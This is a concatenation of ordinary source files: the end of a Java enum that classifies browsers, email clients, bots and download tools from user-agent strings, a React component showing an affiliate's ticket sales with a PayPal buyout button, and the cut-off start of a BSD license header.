6", new String[] { "Version/6" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before AppleWebKit SAFARI5( Manufacturer.APPLE, Browser.SAFARI, 3, "Safari 5", new String[] { "Version/5" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before AppleWebKit SAFARI4( Manufacturer.APPLE, Browser.SAFARI, 4, "Safari 4", new String[] { "Version/4" }, new String[] { "Googlebot-Mobile" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before AppleWebKit /** * Opera Coast mobile browser, http://en.wikipedia.org/wiki/Opera_Coast */ COAST( Manufacturer.OPERA, null, 500, "Opera", new String[] { " Coast/" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.WEBKIT, "Coast\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), COAST1( Manufacturer.OPERA, Browser.COAST, 501, "Opera", new String[] { " Coast/1." }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.WEBKIT, "Coast\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA( Manufacturer.OPERA, null, 1, "Opera", new String[] { " OPR/", "Opera" }, null, BrowserType.WEB_BROWSER, RenderingEngine.PRESTO, "Opera\\/(([\\d]+)\\.([\\w]+))"), // before MSIE OPERA_MINI( Manufacturer.OPERA, Browser.OPERA, 20, "Opera Mini", new String[] { "Opera Mini"}, null, BrowserType.MOBILE_BROWSER, RenderingEngine.PRESTO, null), // Opera for mobile devices OPERA25( Manufacturer.OPERA, Browser.OPERA, 25, "Opera 25", new String[] { "OPR/25." }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "OPR\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA24( Manufacturer.OPERA, Browser.OPERA, 24, "Opera 24", new String[] { "OPR/24." }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "OPR\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA23( Manufacturer.OPERA, Browser.OPERA, 23, "Opera 23", new String[] { "OPR/23." }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "OPR\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA20( Manufacturer.OPERA, Browser.OPERA, 21, "Opera 20", new String[] { "OPR/20." }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "OPR\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA19( Manufacturer.OPERA, Browser.OPERA, 19, "Opera 19", new String[] { "OPR/19." }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "OPR\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA18( Manufacturer.OPERA, Browser.OPERA, 18, "Opera 18", new String[] { "OPR/18." }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "OPR\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA17( Manufacturer.OPERA, Browser.OPERA, 17, "Opera 17", new String[] { "OPR/17." }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "OPR\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA16( Manufacturer.OPERA, Browser.OPERA, 16, "Opera 16", new String[] { "OPR/16." }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "OPR\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA15( Manufacturer.OPERA, Browser.OPERA, 15, "Opera 15", new String[] { "OPR/15." }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "OPR\\/(([\\d]+)\\.([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), OPERA12( Manufacturer.OPERA, Browser.OPERA, 12, "Opera 12", new String[] { "Opera/12", "Version/12." }, null, BrowserType.WEB_BROWSER, RenderingEngine.PRESTO, "Version\\/(([\\d]+)\\.([\\w]+))"), OPERA11( Manufacturer.OPERA, Browser.OPERA, 11, "Opera 11", new String[] { "Version/11." }, null, BrowserType.WEB_BROWSER, RenderingEngine.PRESTO, "Version\\/(([\\d]+)\\.([\\w]+))"), OPERA10( Manufacturer.OPERA, Browser.OPERA, 10, "Opera 10", new String[] { "Opera/9.8" }, null, BrowserType.WEB_BROWSER, RenderingEngine.PRESTO, "Version\\/(([\\d]+)\\.([\\w]+))"), OPERA9( Manufacturer.OPERA, Browser.OPERA, 5, "Opera 9", new String[] { "Opera/9" }, null, BrowserType.WEB_BROWSER, RenderingEngine.PRESTO, null), KONQUEROR( Manufacturer.OTHER, null, 1, "Konqueror", new String[] { "Konqueror"}, null, BrowserType.WEB_BROWSER, RenderingEngine.KHTML, "Konqueror\\/(([0-9]+)\\.?([\\w]+)?(-[\\w]+)?)" ), DOLFIN2( Manufacturer.SAMSUNG, null, 1, "Samsung Dolphin 2", new String[] { "Dolfin/2" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.WEBKIT, null ), // webkit based browser for the bada os /* * Apple WebKit compatible client. Can be a browser or an application with embedded browser using UIWebView. */ APPLE_WEB_KIT( Manufacturer.APPLE, null, 50, "Apple WebKit", new String[] { "AppleWebKit" }, new String[] { "OPR/", "Web Preview", "Googlebot-Mobile" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null), // Microsoft Entrourage/Outlook 2010 also only identifies itself as AppleWebKit APPLE_ITUNES( Manufacturer.APPLE, Browser.APPLE_WEB_KIT, 52, "iTunes", new String[] { "iTunes" }, null, BrowserType.APP, RenderingEngine.WEBKIT, null), // Microsoft Entrourage/Outlook 2010 also only identifies itself as AppleWebKit APPLE_APPSTORE( Manufacturer.APPLE, Browser.APPLE_WEB_KIT, 53, "App Store", new String[] { "MacAppStore" }, null, BrowserType.APP, RenderingEngine.WEBKIT, null), // Microsoft Entrourage/Outlook 2010 also only identifies itself as AppleWebKit ADOBE_AIR( Manufacturer.ADOBE, Browser.APPLE_WEB_KIT, 1, "Adobe AIR application", new String[] { "AdobeAIR" }, null, BrowserType.APP, RenderingEngine.WEBKIT, null), // Microsoft Entrourage/Outlook 2010 also only identifies itself as AppleWebKit LOTUS_NOTES( Manufacturer.OTHER, null, 3, "Lotus Notes", new String[] { "Lotus-Notes" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.OTHER, "Lotus-Notes\\/(([\\d]+)\\.([\\w]+))"), // before Mozilla CAMINO( Manufacturer.OTHER, null, 5, "Camino", new String[] { "Camino" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, "Camino\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?)" ), // using Gecko Engine CAMINO2( Manufacturer.OTHER, Browser.CAMINO, 17, "Camino 2", new String[] { "Camino/2" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FLOCK( Manufacturer.OTHER, null, 4, "Flock", new String[]{"Flock"}, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, "Flock\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?)"), FIREFOX( Manufacturer.MOZILLA, null, 10, "Firefox", new String[] { "Firefox" }, new String[] {"ggpht.com"}, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, "Firefox\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), // using Gecko Engine FIREFOX3MOBILE( Manufacturer.MOZILLA, Browser.FIREFOX, 31, "Firefox 3 Mobile", new String[] { "Firefox/3.5 Maemo" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX_MOBILE( Manufacturer.MOZILLA, Browser.FIREFOX, 200, "Firefox Mobile", new String[] { "Mobile" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX_MOBILE23(Manufacturer.MOZILLA, FIREFOX_MOBILE, 223, "Firefox Mobile 23", new String[] { "Firefox/23" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX40( Manufacturer.MOZILLA, Browser.FIREFOX, 217, "Firefox 40", new String[] { "Firefox/40" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX39( Manufacturer.MOZILLA, Browser.FIREFOX, 216, "Firefox 39", new String[] { "Firefox/39" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX38( Manufacturer.MOZILLA, Browser.FIREFOX, 215, "Firefox 38", new String[] { "Firefox/38" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX37( Manufacturer.MOZILLA, Browser.FIREFOX, 214, "Firefox 37", new String[] { "Firefox/37" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX36( Manufacturer.MOZILLA, Browser.FIREFOX, 213, "Firefox 36", new String[] { "Firefox/36" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX35( Manufacturer.MOZILLA, Browser.FIREFOX, 212, "Firefox 35", new String[] { "Firefox/35" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX34( Manufacturer.MOZILLA, Browser.FIREFOX, 211, "Firefox 34", new String[] { "Firefox/34" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX33( Manufacturer.MOZILLA, Browser.FIREFOX, 210, "Firefox 33", new String[] { "Firefox/33" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX32( Manufacturer.MOZILLA, Browser.FIREFOX, 109, "Firefox 32", new String[] { "Firefox/32" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX31( Manufacturer.MOZILLA, Browser.FIREFOX, 310, "Firefox 31", new String[] { "Firefox/31" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX30( Manufacturer.MOZILLA, Browser.FIREFOX, 300, "Firefox 30", new String[] { "Firefox/30" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX29( Manufacturer.MOZILLA, Browser.FIREFOX, 290, "Firefox 29", new String[] { "Firefox/29" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX28( Manufacturer.MOZILLA, Browser.FIREFOX, 280, "Firefox 28", new String[] { "Firefox/28" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX27( Manufacturer.MOZILLA, Browser.FIREFOX, 108, "Firefox 27", new String[] { "Firefox/27" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX26( Manufacturer.MOZILLA, Browser.FIREFOX, 107, "Firefox 26", new String[] { "Firefox/26" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX25( Manufacturer.MOZILLA, Browser.FIREFOX, 106, "Firefox 25", new String[] { "Firefox/25" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX24( Manufacturer.MOZILLA, Browser.FIREFOX, 105, "Firefox 24", new String[] { "Firefox/24" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX23( Manufacturer.MOZILLA, Browser.FIREFOX, 104, "Firefox 23", new String[] { "Firefox/23" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX22( Manufacturer.MOZILLA, Browser.FIREFOX, 103, "Firefox 22", new String[] { "Firefox/22" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX21( Manufacturer.MOZILLA, Browser.FIREFOX, 102, "Firefox 21", new String[] { "Firefox/21" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX20( Manufacturer.MOZILLA, Browser.FIREFOX, 101, "Firefox 20", new String[] { "Firefox/20" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX19( Manufacturer.MOZILLA, Browser.FIREFOX, 100, "Firefox 19", new String[] { "Firefox/19" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX18( Manufacturer.MOZILLA, Browser.FIREFOX, 99, "Firefox 18", new String[] { "Firefox/18" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX17( Manufacturer.MOZILLA, Browser.FIREFOX, 98, "Firefox 17", new String[] { "Firefox/17" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX16( Manufacturer.MOZILLA, Browser.FIREFOX, 97, "Firefox 16", new String[] { "Firefox/16" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX15( Manufacturer.MOZILLA, Browser.FIREFOX, 96, "Firefox 15", new String[] { "Firefox/15" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX14( Manufacturer.MOZILLA, Browser.FIREFOX, 95, "Firefox 14", new String[] { "Firefox/14" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX13( Manufacturer.MOZILLA, Browser.FIREFOX, 94, "Firefox 13", new String[] { "Firefox/13" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX12( Manufacturer.MOZILLA, Browser.FIREFOX, 93, "Firefox 12", new String[] { "Firefox/12" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX11( Manufacturer.MOZILLA, Browser.FIREFOX, 92, "Firefox 11", new String[] { "Firefox/11" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX10( Manufacturer.MOZILLA, Browser.FIREFOX, 91, "Firefox 10", new String[] { "Firefox/10" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX9( Manufacturer.MOZILLA, Browser.FIREFOX, 90, "Firefox 9", new String[] { "Firefox/9" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX8( Manufacturer.MOZILLA, Browser.FIREFOX, 80, "Firefox 8", new String[] { "Firefox/8" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX7( Manufacturer.MOZILLA, Browser.FIREFOX, 70, "Firefox 7", new String[] { "Firefox/7" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX6( Manufacturer.MOZILLA, Browser.FIREFOX, 60, "Firefox 6", new String[] { "Firefox/6" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX5( Manufacturer.MOZILLA, Browser.FIREFOX, 50, "Firefox 5", new String[] { "Firefox/5" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX4( Manufacturer.MOZILLA, Browser.FIREFOX, 40, "Firefox 4", new String[] { "Firefox/4" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX3( Manufacturer.MOZILLA, Browser.FIREFOX, 30, "Firefox 3", new String[] { "Firefox/3" }, new String[] {"ggpht.com"}, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX2( Manufacturer.MOZILLA, Browser.FIREFOX, 20, "Firefox 2", new String[] { "Firefox/2" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine FIREFOX1_5( Manufacturer.MOZILLA, Browser.FIREFOX, 15, "Firefox 1.5", new String[] { "Firefox/1.5" }, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, null ), // using Gecko Engine /* * Thunderbird email client, based on the same Gecko engine Firefox is using. */ THUNDERBIRD( Manufacturer.MOZILLA, null, 110, "Thunderbird", new String[] { "Thunderbird" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.GECKO, "Thunderbird\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)" ), // using Gecko Engine THUNDERBIRD12( Manufacturer.MOZILLA, Browser.THUNDERBIRD, 185, "Thunderbird 12", new String[] { "Thunderbird/12" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.GECKO, null ), // using Gecko Engine THUNDERBIRD11( Manufacturer.MOZILLA, Browser.THUNDERBIRD, 184, "Thunderbird 11", new String[] { "Thunderbird/11" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.GECKO, null ), // using Gecko Engine THUNDERBIRD10( Manufacturer.MOZILLA, Browser.THUNDERBIRD, 183, "Thunderbird 10", new String[] { "Thunderbird/10" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.GECKO, null ), // using Gecko Engine THUNDERBIRD8( Manufacturer.MOZILLA, Browser.THUNDERBIRD, 180, "Thunderbird 8", new String[] { "Thunderbird/8" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.GECKO, null ), // using Gecko Engine THUNDERBIRD7( Manufacturer.MOZILLA, Browser.THUNDERBIRD, 170, "Thunderbird 7", new String[] { "Thunderbird/7" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.GECKO, null ), // using Gecko Engine THUNDERBIRD6( Manufacturer.MOZILLA, Browser.THUNDERBIRD, 160, "Thunderbird 6", new String[] { "Thunderbird/6" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.GECKO, null ), // using Gecko Engine THUNDERBIRD3( Manufacturer.MOZILLA, Browser.THUNDERBIRD, 130, "Thunderbird 3", new String[] { "Thunderbird/3" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.GECKO, null ), // using Gecko Engine THUNDERBIRD2( Manufacturer.MOZILLA, Browser.THUNDERBIRD, 120, "Thunderbird 2", new String[] { "Thunderbird/2" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.GECKO, null ), // using Gecko Engine /* * Onshape client. */ ONSHAPE( Manufacturer.ONSHAPE, null, 1, "Onshape", new String[] {"Onshape"}, null, BrowserType.APP, RenderingEngine.OTHER, "Onshape\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)"), ONSHAPE1( Manufacturer.ONSHAPE, Browser.ONSHAPE, 2, "Onshape 1", new String[] {"Onshape/1"}, null, BrowserType.APP, RenderingEngine.OTHER, null), SEAMONKEY( Manufacturer.OTHER, null, 15, "SeaMonkey", new String[]{"SeaMonkey"}, null, BrowserType.WEB_BROWSER, RenderingEngine.GECKO, "SeaMonkey\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?)"), // using Gecko Engine BOT( Manufacturer.OTHER, null,12, "Robot/Spider", new String[] {"Googlebot", "Web Preview", "bot", "spider", "crawler", "Feedfetcher", "Slurp", "Twiceler", "Nutch", "BecomeBot"}, null, BrowserType.ROBOT, RenderingEngine.OTHER, null), BOT_MOBILE( Manufacturer.OTHER, Browser.BOT, 20 , "Mobil Robot/Spider", new String[] {"Googlebot-Mobile"}, null, BrowserType.ROBOT, RenderingEngine.OTHER, null), MOZILLA( Manufacturer.MOZILLA, null, 1, "Mozilla", new String[] { "Mozilla", "Moozilla" }, new String[] {"ggpht.com"}, BrowserType.WEB_BROWSER, RenderingEngine.OTHER, null), // rest of the mozilla browsers CFNETWORK( Manufacturer.OTHER, null, 6, "CFNetwork", new String[] { "CFNetwork" }, null, BrowserType.UNKNOWN, RenderingEngine.OTHER, null ), // Mac OS X cocoa library EUDORA( Manufacturer.OTHER, null, 7, "Eudora", new String[] { "Eudora", "EUDORA" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.OTHER, null ), // email client by Qualcomm POCOMAIL( Manufacturer.OTHER, null, 8, "PocoMail", new String[] { "PocoMail" }, null, BrowserType.EMAIL_CLIENT, RenderingEngine.OTHER, null ), THEBAT( Manufacturer.OTHER, null, 9, "The Bat!", new String[]{"The Bat"}, null, BrowserType.EMAIL_CLIENT, RenderingEngine.OTHER, null), // Email Client NETFRONT( Manufacturer.OTHER, null, 10, "NetFront", new String[]{"NetFront"}, null, BrowserType.MOBILE_BROWSER, RenderingEngine.OTHER, null), // mobile device browser EVOLUTION( Manufacturer.OTHER, null, 11, "Evolution", new String[]{"CamelHttpStream"}, null, BrowserType.EMAIL_CLIENT, RenderingEngine.OTHER, null), // http://www.go-evolution.org/Camel.Stream LYNX( Manufacturer.OTHER, null, 13, "Lynx", new String[]{"Lynx"}, null, BrowserType.TEXT_BROWSER, RenderingEngine.OTHER, "Lynx\\/(([0-9]+)\\.([\\d]+)\\.?([\\w-+]+)?\\.?([\\w-+]+)?)"), DOWNLOAD( Manufacturer.OTHER, null, 16, "Downloading Tool", new String[]{"cURL","wget", "ggpht.com", "Apache-HttpClient"}, null, BrowserType.TOOL, RenderingEngine.OTHER, null), UNKNOWN( Manufacturer.OTHER, null, 14, "Unknown", new String[0], null, BrowserType.UNKNOWN, RenderingEngine.OTHER, null ), @Deprecated APPLE_MAIL( Manufacturer.APPLE, null, 51, "Apple Mail", new String[0], null, BrowserType.EMAIL_CLIENT, RenderingEngine.WEBKIT, null); // not detectable any longer. /* * An id for each browser version which is unique per manufacturer. */ private final short id; private final String name; private final String[] aliases; private final String[] excludeList; // don't match when these values are in the agent-string private final BrowserType browserType; private final Manufacturer manufacturer; private final RenderingEngine renderingEngine; private final Browser parent; private List<Browser> children; private Pattern versionRegEx; private static List<Browser> topLevelBrowsers; private Browser(Manufacturer manufacturer, Browser parent, int versionId, String name, String[] aliases, String[] exclude, BrowserType browserType, RenderingEngine renderingEngine, String versionRegexString) { this.id = (short) ( ( manufacturer.getId() << 8) + (byte) versionId); this.name = name; this.parent = parent; this.children = new ArrayList<Browser>(); this.aliases = toLowerCase(aliases); this.excludeList = toLowerCase(exclude); this.browserType = browserType; this.manufacturer = manufacturer; this.renderingEngine = renderingEngine; if (versionRegexString != null) this.versionRegEx = Pattern.compile(versionRegexString); if (this.parent == null) addTopLevelBrowser(this); else this.parent.children.add(this); } private static String[] toLowerCase(String[] strArr) { if (strArr == null) return null; String[] res = new String[strArr.length]; for (int i=0; i<strArr.length; i++) { res[i] = strArr[i].toLowerCase(); } return res; } // create collection of top level browsers during initialization private static void addTopLevelBrowser(Browser browser) { if(topLevelBrowsers == null) topLevelBrowsers = new ArrayList<Browser>(); topLevelBrowsers.add(browser); } public short getId() { return id; } public String getName() { return name; } private Pattern getVersionRegEx() { if (this.versionRegEx == null) { if (this.getGroup() != this) return this.getGroup().getVersionRegEx(); else return null; } return this.versionRegEx; } /** * Detects the detailed version information of the browser. Depends on the userAgent to be available. * Returns null if it can not detect the version information. * @return Version */ public Version getVersion(String userAgentString) { Pattern pattern = this.getVersionRegEx(); if (userAgentString != null && pattern != null) { Matcher matcher = pattern.matcher(userAgentString); if (matcher.find()) { String fullVersionString = matcher.group(1); String majorVersion = matcher.group(2); String minorVersion = "0"; if (matcher.groupCount() > 2) // usually but not always there is a minor version minorVersion = matcher.group(3); return new Version (fullVersionString,majorVersion,minorVersion); } } return null; } /** * @return the browserType */ public BrowserType getBrowserType() { return browserType; } /** * @return the manufacturer */ public Manufacturer getManufacturer() { return manufacturer; } /** * @return the rendering engine */ public RenderingEngine getRenderingEngine() { return renderingEngine; } /** * @return top level browser family */ public Browser getGroup() { if (this.parent != null) { return parent.getGroup(); } return this; } /* * Checks if the given user-agent string matches to the browser. * Only checks for one specific browser. */ public boolean isInUserAgentString(String agentString) { if (agentString == null) return false; String agentStringLowerCase = agentString.toLowerCase(); for (String alias : aliases) { if (agentStringLowerCase.contains(alias)) return true; } return false; } /** * Checks if the given user-agent does not contain one of the tokens which should not match. * In most cases there are no excluding tokens, so the impact should be small. * @param agentString * @return */ private boolean containsExcludeToken(String agentString) { if (agentString == null) return false; if (excludeList != null) { String agentStringLowerCase = agentString.toLowerCase(); for (String exclude : excludeList) { if (agentStringLowerCase.contains(exclude)) return true; } } return false; } private Browser checkUserAgent(String agentString) { if (this.isInUserAgentString(agentString)) { if (this.children.size() > 0) { for (Browser childBrowser : this.children) { Browser match = childBrowser.checkUserAgent(agentString); if (match != null) { return match; } } } // if children didn't match we continue checking the current to prevent false positives if (!this.containsExcludeToken(agentString)) { return this; } } return null; } /** * Iterates over all Browsers to compare the browser signature with * the user agent string. If no match can be found Browser.UNKNOWN will * be returned. * Starts with the top level browsers and only if one of those matches * checks children browsers. * Steps out of loop as soon as there is a match. * @param agentString * @return Browser */ public static Browser parseUserAgentString(String agentString) { return parseUserAgentString(agentString, topLevelBrowsers); } /** * Iterates over the given Browsers (incl. children) to compare the browser * signature with the user agent string. * If no match can be found Browser.UNKNOWN will be returned. * Steps out of loop as soon as there is a match. * Be aware that if the order of the provided Browsers is incorrect or if the set is too limited it can lead to false matches! * @param agentString * @return Browser */ public static Browser parseUserAgentString(String agentString, List<Browser> browsers) { for (Browser browser : browsers) { Browser match = browser.checkUserAgent(agentString); if (match != null) { return match; // either current operatingSystem or a child object } } return Browser.UNKNOWN; } /** * Returns the enum constant of this type with the specified id. * Throws IllegalArgumentException if the value does not exist. * @param id * @return */ public static Browser valueOf(short id) { for (Browser browser : Browser.values()) { if (browser.getId() == id) return browser; } // same behavior as standard valueOf(string) method throw new IllegalArgumentException( "No enum const for id " + id); } }
onshape/user-agent-utils
src/main/java/eu/bitwalker/useragentutils/Browser.java
Java
bsd-3-clause
41,270
import React, { Component } from 'react'; import moment from 'moment'; import { filter, map, forEach } from 'lodash'; import { nextConnect } from '../../store'; import { getAttendees } from '../../actions'; class TicketTrackerDetails extends Component { constructor(props) { super(props); this.state = { sales: [] }; } componentWillMount() { this.props.getAttendees(this.props.id); } componentWillReceiveProps(nextProps) { const { attendees, profile } = nextProps; const sales = filter(attendees, (obj) => obj.attendee.affiliate === profile.user_token); this.setState({ sales }); } totalSales() { let count = 0; forEach(this.state.sales, (sale) => { count = count + sale.attendee.quantity; return count; }); return count; } render() { const totalAmtSold = this.totalSales(); const remaining = 15 - totalAmtSold; return ( <div className="ticket_tracker_detalis"> <div className="container"> <h3>{this.props.name.text} Show - {moment(this.props.start.local).format('MMMM Do YYYY')}</h3> <table className="table"> <thead className="thead-inverse"> <tr> <th>BUYER</th> <th>AMOUNT</th> <th>TICKET SOLD</th> <th>EMAIL</th> </tr> </thead> <tbody> {this.state.sales.length !== 0 && map(this.state.sales, (sale) => ( <tr key={sale.attendee.id}> <th>{sale.attendee.first_name}</th> <td>{sale.attendee.amount_paid}</td> <td>{sale.attendee.quantity}</td> <td>{sale.attendee.email}</td> </tr>))} {this.state.sales.length === 0 && <tr><td colSpan="4"><center>No sales yet</center></td></tr>} </tbody> </table> <hr /> <div className="ticket_tracker_total_inner"> <div className="ticket_tracker_total_inner_item"> Total Tickets: 15 </div> <div className="ticket_tracker_total_inner_item"> Sold: {totalAmtSold} </div> <div className="ticket_tracker_total_inner_item"> Remaining: {remaining < 0 ? 0 : remaining} </div> </div> <div className="tracker_buttons"> <div className="container"> <form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top"> <input type="hidden" name="cmd" value="_s-xclick" /> <input type="hidden" name="hosted_button_id" value="5QCP4S5GAVHJE" /> <button type="submit" className="opentracker"> BUYOUT TICKETS </button> {/* <input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!" /> */} <img alt="" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1" /> </form> </div> </div> </div> </div> ); } } TicketTrackerDetails.propTypes = { name: React.PropTypes.object, start: React.PropTypes.object, getAttendees: React.PropTypes.func, id: React.PropTypes.string, }; function mapStateToProps(state) { return { attendees: state.attendees, profile: state.profile, }; } export default nextConnect(mapStateToProps, { getAttendees })(TicketTrackerDetails);
parkerproject/conceptionarts
components/Dashboard/Ticket-tracker-details.js
JavaScript
bsd-3-clause
3,616
/* This file is a part of JustLogic product which is distributed under the BSD 3-clause "New" or "Revised" License Copyright (c) 2015. All rights reserved. Authors: Vladyslav Taranov. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of JustLogic nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 